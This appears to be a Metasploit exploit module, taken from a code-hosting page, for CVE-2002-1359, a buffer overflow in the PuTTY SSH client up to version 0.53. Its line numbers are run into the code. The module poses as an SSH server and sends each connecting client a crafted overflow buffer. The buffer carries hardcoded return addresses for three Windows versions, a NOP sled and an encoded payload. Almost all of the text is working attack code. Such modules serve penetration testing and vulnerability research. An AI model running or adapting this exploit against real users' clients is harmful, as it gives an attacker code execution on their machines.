Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/ssh/putty_msg_debug.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::TcpServer910def initialize(info = {})11super(update_info(info,12'Name' => 'PuTTY Buffer Overflow',13'Description' => %q{14This module exploits a buffer overflow in the PuTTY SSH client that is15triggered through a validation error in SSH.c. This vulnerability16affects versions 0.53 and earlier.17},18'Author' => 'MC',19'License' => MSF_LICENSE,20'References' =>21[22[ 'CVE', '2002-1359' ],23[ 'OSVDB', '8044'],24[ 'URL', 'http://www.rapid7.com/advisories/R7-0009.html' ],25[ 'BID', '6407'],26],27'DefaultOptions' =>28{29'EXITFUNC' => 'process',30},31'Payload' =>32{33'Space' => 400,34'BadChars' => "\x00",35'MaxNops' => 0,36'StackAdjustment' => -3500,37},38'Platform' => 'win',39'Targets' =>40[41[ 'Windows 2000 SP4 English', { 'Ret' => 0x77e14c29 } ],42[ 'Windows XP SP2 English', { 'Ret' => 0x76b43ae0 } ],43[ 'Windows 2003 SP1 English', { 'Ret' => 0x76aa679b } ],44],45'Privileged' => false,46'DisclosureDate' => '2002-12-16',47'DefaultTarget' => 0))4849register_options(50[51OptPort.new('SRVPORT', [ true, "The SSH daemon port to listen on", 22 ])52])53end5455def on_client_connect(client)56return if ((p = regenerate_payload(client)) == nil)5758buffer =59"SSH-2.0-OpenSSH_3.6.1p2\r\n" +60"\x00\x00\x4e\xec\x01\x14" +61"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +62"\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde" +63(((((rand_text_alphanumeric(64)) + ",") * 30) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde") * 2) +64(((rand_text_alphanumeric(64)) + ",") * 2) + rand_text_alphanumeric(21) +65[target.ret].pack('V') + make_nops(10) + p.encoded +66(((rand_text_alphanumeric(64)) + ",") * 15) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde" +67(((rand_text_alphanumeric(64)) + ",") * 30) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde" +68(((rand_text_alphanumeric(64)) + ",") * 21) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde" +69(((((rand_text_alphanumeric(64)) + ",") * 30) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde") * 6) +70"\x00\x00\x00\x00\x00\x00"7172print_status("Sending #{buffer.length} bytes to #{client.getpeername}:#{client.peerport}...")7374client.put(buffer)75handler7677service.close_client(client)78end79end808182